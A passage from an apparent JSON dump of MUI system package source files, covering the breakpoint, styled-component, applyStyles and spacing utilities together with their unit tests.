from\n   *          the screen size given by the breakpoint key (inclusive) and stopping at the screen size given by the next breakpoint key (exclusive).\n   * @see [API documentation](https://next.mui.com/material-ui/customization/breakpoints/#theme-breakpoints-only-key-media-query)\n   */\n  only: (key: Breakpoint) => string;\n  /**\n   * @param key - A breakpoint key (`xs`, `sm`, etc.).\n   * @returns A media query string ready to be used with most styling solutions, which matches screen widths stopping at\n   *          the screen size given by the breakpoint key (exclusive) and starting at the screen size given by the next breakpoint key (inclusive).\n   */\n  not: (key: Breakpoint) => string;\n  /**\n   * The unit used for the breakpoint's values.\n   * @default 'px'\n   */\n  unit?: string | undefined;\n  /**\n   * Media query keys\n   * @ignore - Do not document.\n   */\n  internal_mediaKeys: string[];\n}\n\nexport interface BreakpointsOptions extends Partial<Breakpoints> {\n  /**\n   * The increment divided by 100 used to implement exclusive breakpoints.\n   * For example, `step: 5` means that `down(500)` will result in `'(max-width: 499.95px)'`.\n   * @default 5\n   */\n  step?: number | undefined;\n  /**\n   * The unit used for the breakpoint's values.\n   * @default 'px'\n   */\n  unit?: string | undefined;\n}\n\nexport default function createBreakpoints(options: BreakpointsOptions): Breakpoints;\n"
  },
  {
    "path": "packages/mui-system/src/createBreakpoints/createBreakpoints.js",
    "content": "// Sorted ASC by size. That's important.\n// It can't be configured as it's used statically for propTypes.\nexport const breakpointKeys = ['xs', 'sm', 'md', 'lg', 'xl'];\n\nconst sortBreakpointsValues = (values) => {\n  const breakpointsAsArray = Object.keys(values).map((key) => ({ key, val: values[key] })) || [];\n  // Sort in ascending order\n  breakpointsAsArray.sort((breakpoint1, breakpoint2) => breakpoint1.val - breakpoint2.val);\n  return breakpointsAsArray.reduce((acc, obj) => {\n    return { ...acc, [obj.key]: obj.val };\n  }, {});\n};\n\n// Keep in mind that @media is inclusive by the CSS specification.\nexport default function createBreakpoints(breakpoints) {\n  const {\n    // The breakpoint **start** at this value.\n    // For instance with the first breakpoint xs: [xs, sm).\n    values = {\n      xs: 0, // phone\n      sm: 600, // tablet\n      md: 900, // small laptop\n      lg: 1200, // desktop\n      xl: 1536, // large screen\n    },\n    unit = 'px',\n    step = 5,\n    ...other\n  } = breakpoints;\n\n  const sortedValues = sortBreakpointsValues(values);\n  const keys = Object.keys(sortedValues);\n\n  function up(key) {\n    const value = typeof values[key] === 'number' ? values[key] : key;\n    return `@media (min-width:${value}${unit})`;\n  }\n\n  function down(key) {\n    const value = typeof values[key] === 'number' ? values[key] : key;\n    return `@media (max-width:${value - step / 100}${unit})`;\n  }\n\n  function between(start, end) {\n    const endIndex = keys.indexOf(end);\n\n    return (\n      `@media (min-width:${\n        typeof values[start] === 'number' ? values[start] : start\n      }${unit}) and ` +\n      `(max-width:${\n        (endIndex !== -1 && typeof values[keys[endIndex]] === 'number'\n          ? values[keys[endIndex]]\n          : end) -\n        step / 100\n      }${unit})`\n    );\n  }\n\n  function only(key) {\n    if (keys.indexOf(key) + 1 < keys.length) {\n      return between(key, keys[keys.indexOf(key) + 1]);\n    }\n\n    return up(key);\n  }\n\n  function not(key) {\n    // handle first and last key separately, for better readability\n    const keyIndex = keys.indexOf(key);\n    if (keyIndex === 0) {\n      return up(keys[1]);\n    }\n    if (keyIndex === keys.length - 1) {\n      return down(keys[keyIndex]);\n    }\n\n    return between(key, keys[keys.indexOf(key) + 1]).replace('@media', '@media not all and');\n  }\n\n  const mediaKeys = [];\n  for (let i = 0; i < keys.length; i += 1) {\n    mediaKeys.push(up(keys[i]));\n  }\n\n  return {\n    keys,\n    values: sortedValues,\n    up,\n    down,\n    between,\n    only,\n    not,\n    unit,\n    internal_mediaKeys: mediaKeys,\n    ...other,\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/createBreakpoints/createBreakpoints.test.js",
    "content": "import { expect } from 'chai';\nimport createBreakpoints from './createBreakpoints';\n\ndescribe('createBreakpoints', () => {\n  const breakpoints = createBreakpoints({});\n  const customBreakpoints = createBreakpoints({\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1280,\n    },\n  });\n\n  it('should sort the values', () => {\n    const orderedValues = createBreakpoints({\n      values: {\n        mobile: 0,\n        tablet: 640,\n        laptop: 1024,\n        desktop: 1280,\n      },\n    });\n\n    const unorderedValues = createBreakpoints({\n      values: {\n        tablet: 640,\n        mobile: 0,\n        laptop: 1024,\n        desktop: 1280,\n      },\n    });\n\n    expect(unorderedValues.keys).to.deep.equal(orderedValues.keys);\n    expect(unorderedValues.values).to.deep.equal(orderedValues.values);\n  });\n\n  describe('up', () => {\n    it('should work for xs', () => {\n      expect(breakpoints.up('xs')).to.equal('@media (min-width:0px)');\n    });\n\n    it('should work for md', () => {\n      expect(breakpoints.up('md')).to.equal('@media (min-width:900px)');\n    });\n\n    it('should work for custom breakpoints', () => {\n      expect(customBreakpoints.up('laptop')).to.equal('@media (min-width:1024px)');\n    });\n  });\n\n  describe('down', () => {\n    it('should work', () => {\n      expect(breakpoints.down('sm')).to.equal('@media (max-width:599.95px)');\n    });\n\n    it('should work for md', () => {\n      expect(breakpoints.down('md')).to.equal('@media (max-width:899.95px)');\n    });\n\n    it('should work for xs', () => {\n      expect(breakpoints.down('xs')).to.equal('@media (max-width:-0.05px)');\n    });\n\n    it('should accept a number', () => {\n      expect(breakpoints.down(600)).to.equal('@media (max-width:599.95px)');\n    });\n\n    it('should work for xl', () => {\n      expect(breakpoints.down('xl')).to.equal('@media (max-width:1535.95px)');\n    });\n\n    it('should work for custom breakpoints', () => {\n      expect(customBreakpoints.down('laptop')).to.equal('@media (max-width:1023.95px)');\n    });\n\n    it('should work for the largest of custom breakpoints', () => {\n      expect(customBreakpoints.down('desktop')).to.equal('@media (max-width:1279.95px)');\n    });\n  });\n\n  describe('between', () => {\n    it('should work', () => {\n      expect(breakpoints.between('sm', 'md')).to.equal(\n        '@media (min-width:600px) and (max-width:899.95px)',\n      );\n    });\n\n    it('should accept numbers', () => {\n      expect(breakpoints.between(600, 800)).to.equal(\n        '@media (min-width:600px) and (max-width:799.95px)',\n      );\n    });\n\n    it('should work on largest breakpoints', () => {\n      expect(breakpoints.between('lg', 'xl')).to.equal(\n        '@media (min-width:1200px) and (max-width:1535.95px)',\n      );\n    });\n\n    it('should work for custom breakpoints', () => {\n      expect(customBreakpoints.between('tablet', 'laptop')).to.equal(\n        '@media (min-width:640px) and (max-width:1023.95px)',\n      );\n    });\n  });\n\n  describe('only', () => {\n    it('should work', () => {\n      expect(breakpoints.only('md')).to.equal('@media (min-width:900px) and (max-width:1199.95px)');\n    });\n\n    it('on xl should call up', () => {\n      expect(breakpoints.only('xl')).to.equal('@media (min-width:1536px)');\n    });\n\n    it('should work for custom breakpoints', () => {\n      expect(customBreakpoints.only('tablet')).to.equal(\n        '@media (min-width:640px) and (max-width:1023.95px)',\n      );\n    });\n  });\n\n  describe('not', () => {\n    it('should work', () => {\n      expect(breakpoints.not('md')).to.equal(\n        '@media not all and (min-width:900px) and (max-width:1199.95px)',\n      );\n    });\n\n    it('should invert up for xl', () => {\n      expect(breakpoints.not('xl')).to.equal('@media (max-width:1535.95px)');\n    });\n\n    it('should invert down for xs', () => {\n      expect(breakpoints.not('xs')).to.equal('@media (min-width:600px)');\n    });\n\n    it('should work for custom breakpoints', () => {\n      expect(customBreakpoints.not('tablet')).to.equal(\n        '@media not all and (min-width:640px) and (max-width:1023.95px)',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/createBreakpoints/index.d.ts",
    "content": "/** This export is intended for internal integration with Pigment CSS */\n/* eslint-disable import/prefer-default-export */\nexport { default as unstable_createBreakpoints } from './createBreakpoints';\n"
  },
  {
    "path": "packages/mui-system/src/createBreakpoints/index.js",
    "content": "/** This export is intended for internal integration with Pigment CSS */\n/* eslint-disable import/prefer-default-export */\nexport { default as unstable_createBreakpoints } from './createBreakpoints';\n"
  },
  {
    "path": "packages/mui-system/src/createStyled/createStyled.d.ts",
    "content": "import * as React from 'react';\nimport {\n  CreateMUIStyled as CreateMUIStyledStyledEngine,\n  CSSInterpolation,\n} from '@mui/styled-engine';\nimport styleFunctionSx, { SxProps } from '../styleFunctionSx';\nimport { Theme as DefaultTheme } from '../createTheme';\n\nexport function shouldForwardProp(propName: PropertyKey): boolean;\n\nexport interface MUIStyledCommonProps<Theme extends object = DefaultTheme> {\n  theme?: Theme | undefined;\n  as?: React.ElementType | undefined;\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface MuiStyledOptions {\n  name?: string | undefined;\n  slot?: string | undefined;\n  // The difference between Interpolation and CSSInterpolation is that the former supports functions based on props\n  // If we want to support props in the overrides, we will need to change the CSSInterpolation to Interpolation<Props>\n  overridesResolver?:\n    | ((props: any, styles: Record<string, CSSInterpolation>) => CSSInterpolation)\n    | undefined;\n  skipVariantsResolver?: boolean | undefined;\n  skipSx?: boolean | undefined;\n}\n\nexport type CreateMUIStyled<Theme extends object = DefaultTheme> = CreateMUIStyledStyledEngine<\n  MUIStyledCommonProps<Theme>,\n  MuiStyledOptions,\n  Theme\n>;\n\nexport default function createStyled<Theme extends object = DefaultTheme>(options?: {\n  themeId?: string | undefined;\n  defaultTheme?: Theme | undefined;\n  rootShouldForwardProp?: ((prop: PropertyKey) => boolean) | undefined;\n  slotShouldForwardProp?: ((prop: PropertyKey) => boolean) | undefined;\n  styleFunctionSx?: typeof styleFunctionSx | undefined;\n}): CreateMUIStyled<Theme>;\n"
  },
  {
    "path": "packages/mui-system/src/createStyled/createStyled.js",
    "content": "import styledEngineStyled, {\n  internal_mutateStyles as mutateStyles,\n  internal_serializeStyles as serializeStyles,\n} from '@mui/styled-engine';\nimport isObjectEmpty from '@mui/utils/isObjectEmpty';\nimport { isPlainObject } from '@mui/utils/deepmerge';\nimport capitalize from '@mui/utils/capitalize';\nimport getDisplayName from '@mui/utils/getDisplayName';\nimport createTheme from '../createTheme';\nimport styleFunctionSx from '../styleFunctionSx';\nimport preprocessStyles from '../preprocessStyles';\n\n/* eslint-disable no-underscore-dangle */\n/* eslint-disable no-labels */\n/* eslint-disable no-lone-blocks */\n\nexport const systemDefaultTheme = createTheme();\n\n// Update /system/styled/#api in case if this changes\nexport function shouldForwardProp(prop) {\n  return prop !== 'ownerState' && prop !== 'theme' && prop !== 'sx' && prop !== 'as';\n}\n\nfunction shallowLayer(serialized, layerName) {\n  if (\n    layerName &&\n    serialized &&\n    typeof serialized === 'object' &&\n    serialized.styles &&\n    !serialized.styles.startsWith('@layer') // only add the layer if it is not already there.\n  ) {\n    serialized.styles = `@layer ${layerName}{${String(serialized.styles)}}`;\n  }\n  return serialized;\n}\n\nfunction defaultOverridesResolver(slot) {\n  if (!slot) {\n    return null;\n  }\n  return (_props, styles) => styles[slot];\n}\n\nfunction attachTheme(props, themeId, defaultTheme) {\n  props.theme = isObjectEmpty(props.theme) ? defaultTheme : props.theme[themeId] || props.theme;\n}\n\nfunction processStyle(props, style, layerName) {\n  /*\n   * Style types:\n   *  - null/undefined\n   *  - string\n   *  - CSS style object: { [cssKey]: [cssValue], variants }\n   *  - Processed style object: { style, variants, isProcessed: true }\n   *  - Array of any of the above\n   */\n\n  const resolvedStyle = typeof style === 'function' ? style(props) : style;\n\n  if (Array.isArray(resolvedStyle)) {\n    return resolvedStyle.flatMap((subStyle) => processStyle(props, subStyle, layerName));\n  }\n\n  if (Array.isArray(resolvedStyle?.variants)) {\n    let rootStyle;\n    if (resolvedStyle.isProcessed) {\n      rootStyle = layerName ? shallowLayer(resolvedStyle.style, layerName) : resolvedStyle.style;\n    } else {\n      const { variants, ...otherStyles } = resolvedStyle;\n      rootStyle = layerName ? shallowLayer(serializeStyles(otherStyles), layerName) : otherStyles;\n    }\n\n    return processStyleVariants(props, resolvedStyle.variants, [rootStyle], layerName);\n  }\n\n  if (resolvedStyle?.isProcessed) {\n    return layerName\n      ? shallowLayer(serializeStyles(resolvedStyle.style), layerName)\n      : resolvedStyle.style;\n  }\n\n  return layerName ? shallowLayer(serializeStyles(resolvedStyle), layerName) : resolvedStyle;\n}\n\nfunction processStyleVariants(props, variants, results = [], layerName = undefined) {\n  let mergedState; // We might not need it, initialized lazily\n\n  variantLoop: for (let i = 0; i < variants.length; i += 1) {\n    const variant = variants[i];\n\n    if (typeof variant.props === 'function') {\n      mergedState ??= { ...props, ...props.ownerState, ownerState: props.ownerState };\n      if (!variant.props(mergedState)) {\n        continue;\n      }\n    } else {\n      for (const key in variant.props) {\n        if (props[key] !== variant.props[key] && props.ownerState?.[key] !== variant.props[key]) {\n          continue variantLoop;\n        }\n      }\n    }\n\n    if (typeof variant.style === 'function') {\n      mergedState ??= { ...props, ...props.ownerState, ownerState: props.ownerState };\n      results.push(\n        layerName\n          ? shallowLayer(serializeStyles(variant.style(mergedState)), layerName)\n          : variant.style(mergedState),\n      );\n    } else {\n      results.push(\n        layerName ? shallowLayer(serializeStyles(variant.style), layerName) : variant.style,\n      );\n    }\n  }\n\n  return results;\n}\n\nexport default function createStyled(input = {}) {\n  const {\n    themeId,\n    defaultTheme = systemDefaultTheme,\n    rootShouldForwardProp = shouldForwardProp,\n    slotShouldForwardProp = shouldForwardProp,\n  } = input;\n\n  function styleAttachTheme(props) {\n    attachTheme(props, themeId, defaultTheme);\n  }\n\n  const styled = (tag, inputOptions = {}) => {\n    // If `tag` is already a styled component, filter out the `sx` style function\n    // to prevent unnecessary styles generated by the composite components.\n    mutateStyles(tag, (styles) => styles.filter((style) => style !== styleFunctionSx));\n\n    const {\n      name: componentName,\n      slot: componentSlot,\n      skipVariantsResolver: inputSkipVariantsResolver,\n      skipSx: inputSkipSx,\n      // TODO v6: remove `lowercaseFirstLetter()` in the next major release\n      // For more details: https://github.com/mui/material-ui/pull/37908\n      overridesResolver = defaultOverridesResolver(lowercaseFirstLetter(componentSlot)),\n      ...options\n    } = inputOptions;\n\n    const layerName =\n      (componentName && componentName.startsWith('Mui')) || !!componentSlot\n        ? 'components'\n        : 'custom';\n\n    // if skipVariantsResolver option is defined, take the value, otherwise, true for root and false for other slots.\n    const skipVariantsResolver =\n      inputSkipVariantsResolver !== undefined\n        ? inputSkipVariantsResolver\n        : // TODO v6: remove `Root` in the next major release\n          // For more details: https://github.com/mui/material-ui/pull/37908\n          (componentSlot && componentSlot !== 'Root' && componentSlot !== 'root') || false;\n\n    const skipSx = inputSkipSx || false;\n\n    let shouldForwardPropOption = shouldForwardProp;\n\n    // TODO v6: remove `Root` in the next major release\n    // For more details: https://github.com/mui/material-ui/pull/37908\n    if (componentSlot === 'Root' || componentSlot === 'root') {\n      shouldForwardPropOption = rootShouldForwardProp;\n    } else if (componentSlot) {\n      // any other slot specified\n      shouldForwardPropOption = slotShouldForwardProp;\n    } else if (isStringTag(tag)) {\n      // for string (html) tag, preserve the behavior in emotion & styled-components.\n      shouldForwardPropOption = undefined;\n    }\n\n    const defaultStyledResolver = styledEngineStyled(tag, {\n      shouldForwardProp: shouldForwardPropOption,\n      label: generateStyledLabel(componentName, componentSlot),\n      ...options,\n    });\n\n    const transformStyle = (style) => {\n      // - On the server Emotion doesn't use React.forwardRef for creating components, so the created\n      //   component stays as a function. This condition makes sure that we do not interpolate functions\n      //   which are basically components used as a selectors.\n      // - `style` could be a styled component from a babel plugin for component selectors, This condition\n      //   makes sure that we do not interpolate them.\n      if (style.__emotion_real === style) {\n        return style;\n      }\n      if (typeof style === 'function') {\n        return function styleFunctionProcessor(props) {\n          return processStyle(props, style, props.theme.modularCssLayers ? layerName : undefined);\n        };\n      }\n      if (isPlainObject(style)) {\n        const serialized = preprocessStyles(style);\n        return function styleObjectProcessor(props) {\n          if (!serialized.variants) {\n            return props.theme.modularCssLayers\n              ? shallowLayer(serialized.style, layerName)\n              : serialized.style;\n          }\n          return processStyle(\n            props,\n            serialized,\n            props.theme.modularCssLayers ? layerName : undefined,\n          );\n        };\n      }\n      return style;\n    };\n\n    const muiStyledResolver = (...expressionsInput) => {\n      const expressionsHead = [];\n      const expressionsBody = expressionsInput.map(transformStyle);\n      const expressionsTail = [];\n\n      // Preprocess `props` to set the scoped theme value.\n      // This must run before any other expression.\n      expressionsHead.push(styleAttachTheme);\n\n      if (componentName && overridesResolver) {\n        expressionsTail.push(function styleThemeOverrides(props) {\n          const theme = props.theme;\n          const styleOverrides = theme.components?.[componentName]?.styleOverrides;\n          if (!styleOverrides) {\n            return null;\n          }\n\n          const resolvedStyleOverrides = {};\n\n          // TODO: v7 remove iteration and use `resolveStyleArg(styleOverrides[slot])` directly\n          // eslint-disable-next-line guard-for-in\n          for (const slotKey in styleOverrides) {\n            resolvedStyleOverrides[slotKey] = processStyle(\n              props,\n              styleOverrides[slotKey],\n              props.theme.modularCssLayers ? 'theme' : undefined,\n            );\n          }\n\n          return overridesResolver(props, resolvedStyleOverrides);\n        });\n      }\n\n      if (componentName && !skipVariantsResolver) {\n        expressionsTail.push(function styleThemeVariants(props) {\n          const theme = props.theme;\n          const themeVariants = theme?.components?.[componentName]?.variants;\n          if (!themeVariants) {\n            return null;\n          }\n          return processStyleVariants(\n            props,\n            themeVariants,\n            [],\n            props.theme.modularCssLayers ? 'theme' : undefined,\n          );\n        });\n      }\n\n      if (!skipSx) {\n        expressionsTail.push(styleFunctionSx);\n      }\n\n      // This function can be called as a tagged template, so the first argument would contain\n      // CSS `string[]` values.\n      if (Array.isArray(expressionsBody[0])) {\n        const inputStrings = expressionsBody.shift();\n\n        // We need to add placeholders in the tagged template for the custom functions we have\n        // possibly added (attachTheme, overrides, variants, and sx).\n        const placeholdersHead = new Array(expressionsHead.length).fill('');\n        const placeholdersTail = new Array(expressionsTail.length).fill('');\n\n        let outputStrings;\n        // prettier-ignore\n        {\n          outputStrings     = [...placeholdersHead, ...inputStrings,     ...placeholdersTail];\n          outputStrings.raw = [...placeholdersHead, ...inputStrings.raw, ...placeholdersTail];\n        }\n\n        // The only case where we put something before `attachTheme`\n        expressionsHead.unshift(outputStrings);\n      }\n\n      const expressions = [...expressionsHead, ...expressionsBody, ...expressionsTail];\n\n      const Component = defaultStyledResolver(...expressions);\n      if (tag.muiName) {\n        Component.muiName = tag.muiName;\n      }\n      if (process.env.NODE_ENV !== 'production') {\n        Component.displayName = generateDisplayName(componentName, componentSlot, tag);\n      }\n\n      return Component;\n    };\n\n    if (defaultStyledResolver.withConfig) {\n      muiStyledResolver.withConfig = defaultStyledResolver.withConfig;\n    }\n\n    return muiStyledResolver;\n  };\n\n  return styled;\n}\n\nfunction generateDisplayName(componentName, componentSlot, tag) {\n  if (componentName) {\n    return `${componentName}${capitalize(componentSlot || '')}`;\n  }\n  return `Styled(${getDisplayName(tag)})`;\n}\n\nfunction generateStyledLabel(componentName, componentSlot) {\n  let label;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (componentName) {\n      // TODO v6: remove `lowercaseFirstLetter()` in the next major release\n      // For more details: https://github.com/mui/material-ui/pull/37908\n      label = `${componentName}-${lowercaseFirstLetter(componentSlot || 'Root')}`;\n    }\n  }\n\n  return label;\n}\n\n// https://github.com/emotion-js/emotion/blob/26ded6109fcd8ca9875cc2ce4564fee678a3f3c5/packages/styled/src/utils.js#L40\nfunction isStringTag(tag) {\n  return (\n    typeof tag === 'string' &&\n    // 96 is one less than the char code\n    // for \"a\" so this is checking that\n    // it's a lowercase character\n    tag.charCodeAt(0) > 96\n  );\n}\n\nfunction lowercaseFirstLetter(string) {\n  if (!string) {\n    return string;\n  }\n  return string.charAt(0).toLowerCase() + string.slice(1);\n}\n"
  },
  {
    "path": "packages/mui-system/src/createStyled/index.ts",
    "content": "export { default } from './createStyled';\nexport * from './createStyled';\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/applyStyles.test.ts",
    "content": "import { expect } from 'chai';\nimport applyStyles from './applyStyles';\n\ndescribe('applyStyles', () => {\n  it('should apply styles for media prefers-color-scheme', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: (colorScheme: string) => {\n        return `@media (prefers-color-scheme: ${colorScheme})`;\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'light', styles)).to.deep.equal({\n      '@media (prefers-color-scheme: light)': styles,\n    });\n  });\n\n  it('should apply styles for a class selector', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: (colorScheme: string) => {\n        return `.${colorScheme}`;\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'light', styles)).to.deep.equal({\n      '*:where(.light) &': styles,\n    });\n  });\n\n  it('should apply styles for a data attribute selector', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: (colorScheme: string) => {\n        return `[data-color-scheme-${colorScheme}]`;\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'light', styles)).to.deep.equal({\n      '*:where([data-color-scheme-light]) &': styles,\n    });\n  });\n\n  it('should apply styles for a data attribute selector with &', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: (colorScheme: string) => {\n        return `[data-color-scheme=\"${colorScheme}\"] &`;\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'light', styles)).to.deep.equal({\n      '*:where([data-color-scheme=\"light\"]) &': styles,\n    });\n  });\n\n  it('should not apply styles if colorScheme does not exist', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: (colorScheme: string) => {\n        return `[data-color-scheme=\"${colorScheme}\"] &`;\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'dark', styles)).to.deep.equal({});\n  });\n\n  it('should return the styles directly if selector is &', () => {\n    const theme = {\n      vars: {},\n      colorSchemes: { light: true },\n      getColorSchemeSelector: () => {\n        return '&';\n      },\n    };\n    const styles = { background: '#e5e5e5' };\n    expect(applyStyles.call(theme, 'light', styles)).to.deep.equal(styles);\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/applyStyles.ts",
    "content": "import { CSSObject } from '@mui/styled-engine';\n\nexport interface ApplyStyles<K extends string> {\n  (key: K, styles: CSSObject): CSSObject;\n}\n\n/**\n * A universal utility to style components with multiple color modes. Always use it from the theme object.\n * It works with:\n *  - [Basic theme](https://mui.com/material-ui/customization/dark-mode/)\n *  - [CSS theme variables](https://mui.com/material-ui/customization/css-theme-variables/overview/)\n *  - Zero-runtime engine\n *\n * Tips: Use an array over object spread and place `theme.applyStyles()` last.\n *\n * With the styled function:\n * ✅ [{ background: '#e5e5e5' }, theme.applyStyles('dark', { background: '#1c1c1c' })]\n * 🚫 { background: '#e5e5e5', ...theme.applyStyles('dark', { background: '#1c1c1c' })}\n *\n * With the sx prop:\n * ✅ [{ background: '#e5e5e5' }, theme => theme.applyStyles('dark', { background: '#1c1c1c' })]\n * 🚫 { background: '#e5e5e5', ...theme => theme.applyStyles('dark', { background: '#1c1c1c' })}\n *\n * @example\n * 1. using with `styled`:\n * ```jsx\n *   const Component = styled('div')(({ theme }) => [\n *     { background: '#e5e5e5' },\n *     theme.applyStyles('dark', {\n *       background: '#1c1c1c',\n *       color: '#fff',\n *     }),\n *   ]);\n * ```\n *\n * @example\n * 2. using with `sx` prop:\n * ```jsx\n *   <Box sx={[\n *     { background: '#e5e5e5' },\n *     theme => theme.applyStyles('dark', {\n *        background: '#1c1c1c',\n *        color: '#fff',\n *      }),\n *     ]}\n *   />\n * ```\n *\n * @example\n * 3. theming a component:\n * ```jsx\n *   extendTheme({\n *     components: {\n *       MuiButton: {\n *         styleOverrides: {\n *           root: ({ theme }) => [\n *             { background: '#e5e5e5' },\n *             theme.applyStyles('dark', {\n *               background: '#1c1c1c',\n *               color: '#fff',\n *             }),\n *           ],\n *         },\n *       }\n *     }\n *   })\n *```\n */\nexport default function applyStyles<K extends string>(key: K, styles: CSSObject) {\n  // @ts-expect-error this is 'any' type\n  const theme = this as {\n    palette: { mode: 'light' | 'dark' };\n    vars?: any;\n    colorSchemes?: Record<K, any> | undefined;\n    getColorSchemeSelector?: ((scheme: string) => string) | undefined;\n  };\n  if (theme.vars) {\n    if (!theme.colorSchemes?.[key] || typeof theme.getColorSchemeSelector !== 'function') {\n      return {};\n    }\n    // If CssVarsProvider is used as a provider, returns '*:where({selector}) &'\n    let selector = theme.getColorSchemeSelector(key);\n    if (selector === '&') {\n      return styles;\n    }\n    if (selector.includes('data-') || selector.includes('.')) {\n      // '*' is required as a workaround for Emotion issue (https://github.com/emotion-js/emotion/issues/2836)\n      selector = `*:where(${selector.replace(/\\s*&$/, '')}) &`;\n    }\n    return {\n      [selector]: styles,\n    };\n  }\n  if (theme.palette.mode === key) {\n    return styles;\n  }\n\n  return {};\n}\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/createSpacing.test.ts",
    "content": "import { expect } from 'chai';\nimport createSpacing, { Spacing } from './createSpacing';\n\ndescribe('createSpacing', () => {\n  it('should be configurable', () => {\n    let spacing: Spacing;\n    spacing = createSpacing();\n    expect(spacing(1)).to.equal('8px');\n    spacing = createSpacing(10);\n    expect(spacing(1)).to.equal('10px');\n    spacing = createSpacing([0, 8, 16]);\n    expect(spacing(2)).to.equal('16px');\n    spacing = createSpacing(['0rem', '8rem', '16rem']);\n    expect(spacing(2)).to.equal('16rem');\n    spacing = createSpacing((factor: number) => factor ** 2);\n    expect(spacing(2)).to.equal('4px');\n    spacing = createSpacing((factor: number) => `${0.25 * factor}rem`);\n    expect(spacing(2)).to.equal('0.5rem');\n    spacing = createSpacing('0.5rem');\n    expect(spacing(2)).to.equal('calc(2 * 0.5rem)');\n  });\n\n  it('should support recursion', () => {\n    const spacing = createSpacing();\n    createSpacing(spacing);\n  });\n\n  it('should support a default value when no arguments are provided', () => {\n    let spacing;\n    spacing = createSpacing();\n    expect(spacing()).to.equal('8px');\n    spacing = createSpacing((factor: number) => `${0.25 * factor}rem`);\n    expect(spacing()).to.equal('0.25rem');\n  });\n\n  it('should support multiple arguments', () => {\n    let spacing;\n    spacing = createSpacing();\n    expect(spacing(1, 2)).to.equal('8px 16px');\n    spacing = createSpacing((factor: number) => `${0.25 * factor}rem`);\n    expect(spacing(1, 2)).to.equal('0.25rem 0.5rem');\n  });\n\n  it('should support string arguments', () => {\n    let spacing;\n    spacing = createSpacing();\n    expect(spacing(1, 'auto')).to.equal('8px auto');\n    spacing = createSpacing((factor: number | string) =>\n      typeof factor === 'string' ? factor : `${0.25 * factor}rem`,\n    );\n    expect(spacing(1, 'auto', 2, 3)).to.equal('0.25rem auto 0.5rem 0.75rem');\n  });\n\n  it('should support valid CSS unit', () => {\n    const spacing = createSpacing();\n    expect(spacing('16px')).to.equal('16px');\n    expect(spacing('1rem')).to.equal('1rem');\n  });\n\n  describe('warnings', () => {\n    it('should warn for wrong input', () => {\n      expect(() => {\n        createSpacing({\n          // @ts-expect-error\n          unit: 4,\n        });\n      }).toErrorDev('MUI: The `theme.spacing` value ([object Object]) is invalid');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/createSpacing.ts",
    "content": "import { createUnarySpacing } from '../spacing';\n\nexport type SpacingOptions =\n  | number\n  | string\n  | Spacing\n  | ((abs: number) => number | string)\n  | ((abs: number | string) => number | string)\n  | ReadonlyArray<string | number>;\n\nexport type SpacingArgument = number | string;\n\n// The different signatures imply different meaning for their arguments that can't be expressed structurally.\n// We express the difference with variable names.\nexport interface Spacing {\n  (): string;\n  (value: SpacingArgument): string;\n  (topBottom: SpacingArgument, rightLeft: SpacingArgument): string;\n  (top: SpacingArgument, rightLeft: SpacingArgument, bottom: SpacingArgument): string;\n  (\n    top: SpacingArgument,\n    right: SpacingArgument,\n    bottom: SpacingArgument,\n    left: SpacingArgument,\n  ): string;\n}\n\nexport default function createSpacing(\n  spacingInput: SpacingOptions = 8,\n  // Material Design layouts are visually balanced. Most measurements align to an 8dp grid, which aligns both spacing and the overall layout.\n  // Smaller components, such as icons, can align to a 4dp grid.\n  // https://m2.material.io/design/layout/understanding-layout.html\n  transform = createUnarySpacing({\n    spacing: spacingInput,\n  }),\n): Spacing {\n  // Already transformed.\n  if ((spacingInput as any).mui) {\n    return spacingInput as Spacing;\n  }\n\n  const spacing = (...argsInput: ReadonlyArray<number | string>): string => {\n    if (process.env.NODE_ENV !== 'production') {\n      if (!(argsInput.length <= 4)) {\n        console.error(\n          `MUI: Too many arguments provided, expected between 0 and 4, got ${argsInput.length}`,\n        );\n      }\n    }\n\n    const args = argsInput.length === 0 ? [1] : argsInput;\n\n    return args\n      .map((argument) => {\n        const output = transform(argument);\n        return typeof output === 'number' ? `${output}px` : output;\n      })\n      .join(' ');\n  };\n\n  spacing.mui = true;\n\n  return spacing;\n}\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/createTheme.d.ts",
